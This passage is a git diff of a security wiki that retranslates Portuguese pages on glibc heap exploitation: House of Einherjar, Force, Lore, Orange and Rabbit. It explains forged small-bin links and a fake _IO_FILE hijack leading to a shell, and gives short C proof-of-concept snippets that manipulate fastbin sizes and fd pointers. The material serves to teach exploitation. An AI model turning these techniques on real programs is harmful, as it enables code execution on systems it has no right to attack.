{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-einherjar.md b/binary-exploitation/libc-heap/house-of-einherjar.md index 768d203d5..84ac99075 100644 --- a/binary-exploitation/libc-heap/house-of-einherjar.md +++ b/binary-exploitation/libc-heap/house-of-einherjar.md @@ -1,16 +1,16 @@ -# Casa de Einherjar +# House of Einherjar {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -19,8 +19,8 @@ Aprenda e pratique Hacking GCP: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-force.md b/binary-exploitation/libc-heap/house-of-force.md index 08ee21119..f6c79115e 100644 --- a/binary-exploitation/libc-heap/house-of-force.md +++ b/binary-exploitation/libc-heap/house-of-force.md @@ -1,18 +1,16 @@ -# Casa da Força - - +# House of Force {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -22,22 +20,22 @@ Aprenda e pratique Hacking GCP: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
+{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-lore.md b/binary-exploitation/libc-heap/house-of-lore.md index 0a8076c82..676b24956 100644 --- a/binary-exploitation/libc-heap/house-of-lore.md +++ b/binary-exploitation/libc-heap/house-of-lore.md @@ -1,16 +1,16 @@ -# House of Lore | Ataque Small bin +# House of Lore | Small bin Attack {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -19,37 +19,37 @@ Aprenda e pratique Hacking GCP: `fake1` * `fake1.fd` -> `fake0` -* `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do small bin liberado por meio de alguma outra vulnerabilidade) +* `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do pequeno bin liberado via alguma outra vulnerabilidade) * `legit.bk` -> `fake0` Então você poderá alocar `fake0`. ### Ataque -* Um pequeno chunk (`legit`) é alocado, em seguida, outro é alocado para evitar a consolidação com o top chunk. Em seguida, `legit` é liberado (movendo-o para a lista de bins não ordenados) e um chunk maior é alocado, **movendo `legit` para o small bin.** -* Um atacante gera alguns chunks pequenos falsos e faz as ligações necessárias para contornar as verificações de integridade: +* Um chunk pequeno (`legit`) é alocado, então outro é alocado para evitar a consolidação com o chunk superior. Em seguida, `legit` é liberado (movendo-o para a lista de bin não ordenados) e um chunk maior é alocado, **movendo `legit` para o pequeno bin.** +* Um atacante gera alguns chunks pequenos falsos e faz a vinculação necessária para contornar as verificações de sanidade: * `fake0.bk` -> `fake1` * `fake1.fd` -> `fake0` -* `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do small bin liberado por meio de alguma outra vulnerabilidade) +* `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do pequeno bin liberado via alguma outra vulnerabilidade) * `legit.bk` -> `fake0` -* Um pequeno chunk é alocado para obter `legit`, fazendo com que **`fake0`** entre na lista superior dos small bins -* Outro pequeno chunk é alocado, obtendo `fake0` como um chunk, permitindo potencialmente ler/escrever ponteiros dentro dele. +* Um chunk pequeno é alocado para obter legit, tornando **`fake0`** a lista superior de pequenos bins +* Outro chunk pequeno é alocado, obtendo `fake0` como um chunk, permitindo potencialmente ler/escrever ponteiros dentro dele. ## Referências @@ -58,16 +58,16 @@ Então você poderá alocar `fake0`. * [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-orange.md b/binary-exploitation/libc-heap/house-of-orange.md index d15cb440d..30e268f04 100644 --- a/binary-exploitation/libc-heap/house-of-orange.md +++ b/binary-exploitation/libc-heap/house-of-orange.md @@ -1,16 +1,16 @@ -# Casa de Laranja +# House of Orange {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -20,7 +20,7 @@ Aprenda e pratique Hacking GCP: bk->fwd = _IO_list_all - 0x10`. Quando um novo chunk é alocado, o antigo top chunk será dividido, e um ponteiro para o unsorted bin será escrito em **`_IO_list_all`**. +Um ataque de unsorted bin é realizado abusando do overflow para escrever `topChunk->bk->fwd = _IO_list_all - 0x10`. Quando um novo chunk é alocado, o antigo top chunk será dividido, e um ponteiro para o unsorted bin será escrito em **`_IO_list_all`**. O próximo passo envolve reduzir o tamanho do antigo top chunk para caber em um small bin, especificamente definindo seu tamanho para **0x61**. Isso serve a dois propósitos: -1. **Inserção no Small Bin 4**: Quando `malloc` percorre o unsorted bin e vê este chunk, ele tentará inseri-lo no small bin 4 devido ao seu tamanho pequeno. Isso faz com que o chunk acabe na cabeça da lista do small bin 4, que é a localização do ponteiro FD do chunk de **`_IO_list_all`** já que escrevemos um endereço próximo em **`_IO_list_all`** via o ataque ao unsorted bin. -2. **Desencadeando uma Verificação de Malloc**: Essa manipulação de tamanho do chunk fará com que `malloc` execute verificações internas. Quando ele verifica o tamanho do chunk falso à frente, que será zero, ele desencadeia um erro e chama `malloc_printerr`. +1. **Inserção no Small Bin 4**: Quando `malloc` escaneia o unsorted bin e vê este chunk, ele tentará inseri-lo no small bin 4 devido ao seu pequeno tamanho. Isso faz com que o chunk termine na cabeça da lista do small bin 4, que é a localização do ponteiro FD do chunk de **`_IO_list_all`** já que escrevemos um endereço próximo em **`_IO_list_all`** via ataque de unsorted bin. +2. **Acionando uma Verificação de Malloc**: Essa manipulação do tamanho do chunk fará com que `malloc` execute verificações internas. Quando ele verifica o tamanho do chunk falso de avanço, que será zero, isso aciona um erro e chama `malloc_printerr`. -A manipulação do small bin permitirá controlar o ponteiro à frente do chunk. A sobreposição com **\_IO\_list\_all** é usada para forjar uma estrutura fake **\_IO\_FILE**. A estrutura é cuidadosamente elaborada para incluir campos-chave como `_IO_write_base` e `_IO_write_ptr` definidos para valores que passam verificações internas na libc. Além disso, uma tabela de saltos é criada dentro da estrutura falsa, onde um ponteiro de instrução é definido para o endereço onde um código arbitrário (por exemplo, a função `system`) pode ser executado. +A manipulação do small bin permitirá que você controle o ponteiro de avanço do chunk. A sobreposição com **\_IO\_list\_all** é usada para forjar uma estrutura **\_IO\_FILE** falsa. A estrutura é cuidadosamente elaborada para incluir campos-chave como `_IO_write_base` e `_IO_write_ptr` definidos para valores que passam nas verificações internas da libc. Além disso, uma tabela de saltos é criada dentro da estrutura falsa, onde um ponteiro de instrução é definido para o endereço onde código arbitrário (por exemplo, a função `system`) pode ser executado. Para resumir a parte restante da técnica: -* **Reduza o Antigo Top Chunk**: Ajuste o tamanho do antigo top chunk para **0x61** para encaixá-lo em um small bin. -* **Configure a Estrutura Fake `_IO_FILE`**: Sobreponha o antigo top chunk com a estrutura fake **\_IO_FILE** e defina os campos apropriadamente para sequestrar o fluxo de execução. +* **Reduzir o Antigo Top Chunk**: Ajustar o tamanho do antigo top chunk para **0x61** para caber em um small bin. +* **Configurar a Estrutura Falsa `_IO_FILE`**: Sobrepor o antigo top chunk com a estrutura falsa **\_IO\_FILE** e definir os campos adequadamente para sequestrar o fluxo de execução. -O próximo passo envolve forjar uma estrutura fake **\_IO_FILE** que se sobrepõe ao antigo top chunk atualmente no unsorted bin. Os primeiros bytes desta estrutura são cuidadosamente elaborados para incluir um ponteiro para um comando (por exemplo, "/bin/sh") que será executado. +O próximo passo envolve forjar uma estrutura falsa **\_IO\_FILE** que se sobrepõe ao antigo top chunk atualmente no unsorted bin. Os primeiros bytes desta estrutura são elaborados cuidadosamente para incluir um ponteiro para um comando (por exemplo, "/bin/sh") que será executado. -Campos-chave na estrutura fake **\_IO_FILE**, como `_IO_write_base` e `_IO_write_ptr`, são definidos para valores que passam verificações internas na libc. Além disso, uma tabela de saltos é criada dentro da estrutura fake, onde um ponteiro de instrução é definido para o endereço onde um código arbitrário pode ser executado. Tipicamente, este seria o endereço da função `system` ou outra função que pode executar comandos shell. +Campos-chave na estrutura falsa **\_IO\_FILE**, como `_IO_write_base` e `_IO_write_ptr`, são definidos para valores que passam nas verificações internas da libc. Além disso, uma tabela de saltos é criada dentro da estrutura falsa, onde um ponteiro de instrução é definido para o endereço onde código arbitrário pode ser executado. Normalmente, este seria o endereço da função `system` ou outra função que pode executar comandos de shell. -O ataque culmina quando uma chamada para `malloc` aciona a execução do código através da estrutura **\_IO\_FILE** manipulada. Isso permite a execução de código arbitrário, resultando tipicamente em um shell sendo aberto ou outra carga maliciosa sendo executada. +O ataque culmina quando uma chamada para `malloc` aciona a execução do código através da estrutura manipulada **\_IO\_FILE**. Isso efetivamente permite a execução de código arbitrário, resultando tipicamente em um shell sendo gerado ou outro payload malicioso sendo executado. **Resumo do Ataque:** -1. **Configure o top chunk**: Aloque um chunk e modifique o tamanho do top chunk. -2. **Force o top chunk para o unsorted bin**: Aloque um chunk maior. -3. **Vaze endereços da libc**: Use a vulnerabilidade para ler do unsorted bin. -4. **Execute o ataque ao unsorted bin**: Escreva em **\_IO\_list\_all** usando um estouro. -5. **Reduza o antigo top chunk**: Ajuste seu tamanho para encaixá-lo em um small bin. -6. **Configure uma estrutura fake \_IO\_FILE**: Forje uma estrutura de arquivo fake para sequestrar o fluxo de controle. -7. **Desencadeie a execução de código**: Aloque um chunk para executar o ataque e executar código arbitrário. +1. **Configurar o top chunk**: Alocar um chunk e modificar o tamanho do top chunk. +2. **Forçar o top chunk para o unsorted bin**: Alocar um chunk maior. +3. **Vazar endereços da libc**: Usar a vulnerabilidade para ler do unsorted bin. +4. **Realizar o ataque de unsorted bin**: Escrever em **\_IO\_list\_all** usando um overflow. +5. **Reduzir o antigo top chunk**: Ajustar seu tamanho para caber em um small bin. +6. **Configurar uma estrutura falsa \_IO\_FILE**: Forjar uma estrutura de arquivo falsa para sequestrar o fluxo de controle. +7. **Acionar a execução de código**: Alocar um chunk para executar o ataque e rodar código arbitrário. + +Essa abordagem explora mecanismos de gerenciamento de heap, vazamentos de informações da libc e overflows de heap para alcançar a execução de código sem chamar diretamente `free`. Ao elaborar cuidadosamente a estrutura falsa **\_IO\_FILE** e colocá-la na localização correta, o ataque pode sequestrar o fluxo de controle durante operações padrão de alocação de memória. Isso permite a execução de código arbitrário, resultando potencialmente em um shell ou outras atividades maliciosas. -Esta abordagem explora mecanismos de gerenciamento de heap, vazamentos de informações da libc e estouros de heap para alcançar a execução de código sem chamar diretamente `free`. Ao elaborar cuidadosamente a estrutura fake **\_IO\_FILE** e colocá-la na localização correta, o ataque pode sequestrar o fluxo de controle durante operações padrão de alocação de memória. Isso permite a execução de código arbitrário, potencialmente resultando em um shell ou outras atividades maliciosas. ## Referências * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/) * [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-rabbit.md b/binary-exploitation/libc-heap/house-of-rabbit.md index 38c5cd0fe..fd0888c6b 100644 --- a/binary-exploitation/libc-heap/house-of-rabbit.md +++ b/binary-exploitation/libc-heap/house-of-rabbit.md @@ -1,58 +1,64 @@ -# Casa do Coelho +# House of Rabbit {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ### Requisitos -1. **Capacidade de modificar o ponteiro fd ou o tamanho do fast bin**: Isso significa que você pode alterar o ponteiro forward de um pedaço no fastbin ou seu tamanho. -2. **Capacidade de acionar `malloc_consolidate`**: Isso pode ser feito alocando um grande pedaço ou mesclando o pedaço superior, o que força o heap a consolidar pedaços. +1. **Capacidade de modificar o ponteiro fd do fast bin ou tamanho**: Isso significa que você pode alterar o ponteiro para frente de um chunk no fastbin ou seu tamanho. +2. **Capacidade de acionar `malloc_consolidate`**: Isso pode ser feito alocando um chunk grande ou mesclando o chunk superior, o que força o heap a consolidar chunks. ### Objetivos -1. **Criar pedaços sobrepostos**: Para ter um pedaço sobreposto com outro, permitindo manipulações adicionais no heap. -2. **Forjar pedaços falsos**: Para enganar o alocador a tratar um pedaço falso como um pedaço legítimo durante operações no heap. +1. **Criar chunks sobrepostos**: Para ter um chunk sobreposto a outro, permitindo mais manipulações do heap. +2. **Forjar chunks falsos**: Para enganar o alocador fazendo-o tratar um chunk falso como um chunk legítimo durante as operações do heap. ## Etapas do ataque -### POC 1: Modificar o tamanho de um pedaço fast bin +### POC 1: Modificar o tamanho de um chunk do fast bin -**Objetivo**: Criar um pedaço sobreposto manipulando o tamanho de um pedaço fastbin. +**Objetivo**: Criar um chunk sobreposto manipulando o tamanho de um chunk do fastbin. -* **Passo 1: Alocar Pedaços** +* **Etapa 1: Alocar Chunks** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` +Alocamos dois chunks de 0x40 bytes cada. Esses chunks serão colocados na lista de fast bin uma vez liberados. + * **Passo 2: Liberar Chunks** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` +Nós liberamos ambos os chunks, adicionando-os à lista fastbin. + * **Passo 3: Modificar o Tamanho do Chunk** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` +Mudamos os metadados de tamanho de `chunk1` para 0xa1. Este é um passo crucial para enganar o alocador durante a consolidação. + * **Passo 4: Acionar `malloc_consolidate`** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` -Alocar um grande bloco aciona a função `malloc_consolidate`, mesclando pequenos blocos no fast bin. O tamanho manipulado do `chunk1` faz com que ele se sobreponha ao `chunk2`. +Alocar um grande bloco aciona a função `malloc_consolidate`, mesclando pequenos blocos no fast bin. O tamanho manipulado de `chunk1` faz com que ele se sobreponha a `chunk2`. -Após a consolidação, o `chunk1` se sobrepõe ao `chunk2`, permitindo uma exploração adicional. +Após a consolidação, `chunk1` se sobrepõe a `chunk2`, permitindo uma exploração adicional. ### POC 2: Modificar o ponteiro `fd` @@ -63,14 +69,16 @@ Após a consolidação, o `chunk1` se sobrepõe ao `chunk2`, permitindo uma expl unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` -**Explicação**: Alocamos dois blocos, um menor e um maior, para configurar o heap para o bloco falso. +**Explicação**: Alocamos dois chunks, um menor e um maior, para preparar o heap para o chunk falso. -* **Passo 2: Criar bloco falso** +* **Passo 2: Criar chunk falso** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` +Escrevemos metadados de chunk falsos em `chunk2` para simular chunks menores. + * **Passo 3: Liberar `chunk1`** ```cpp free(chunk1); // Frees the chunk at 0x602000 @@ -81,16 +89,31 @@ free(chunk1); // Frees the chunk at 0x602000 ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` -**Explicação**: Alteramos o ponteiro para frente (`fd`) do `chunk1` para apontar para o nosso chunk falso dentro do `chunk2`. +**Explicação**: Mudamos o ponteiro para frente (`fd`) do `chunk1` para apontar para nosso chunk falso dentro do `chunk2`. * **Passo 5: Acionar `malloc_consolidate`** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` -Alocar novamente um grande bloco aciona o `malloc_consolidate`, que processa o bloco falso. +Alocar um grande bloco novamente aciona `malloc_consolidate`, que processa o bloco falso. -O bloco falso passa a fazer parte da lista fastbin, tornando-se um bloco legítimo para futuras explorações. +O bloco falso se torna parte da lista fastbin, tornando-se um bloco legítimo para exploração adicional. ### Resumo -A técnica **House of Rabbit** envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro `fd` para criar blocos falsos. Isso permite que os atacantes forjem blocos legítimos no heap, possibilitando várias formas de exploração. Compreender e praticar esses passos irá aprimorar suas habilidades de exploração de heap. +A técnica **House of Rabbit** envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro `fd` para criar blocos falsos. Isso permite que atacantes forjem blocos legítimos na heap, possibilitando várias formas de exploração. Compreender e praticar esses passos aprimorará suas habilidades de exploração de heap. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
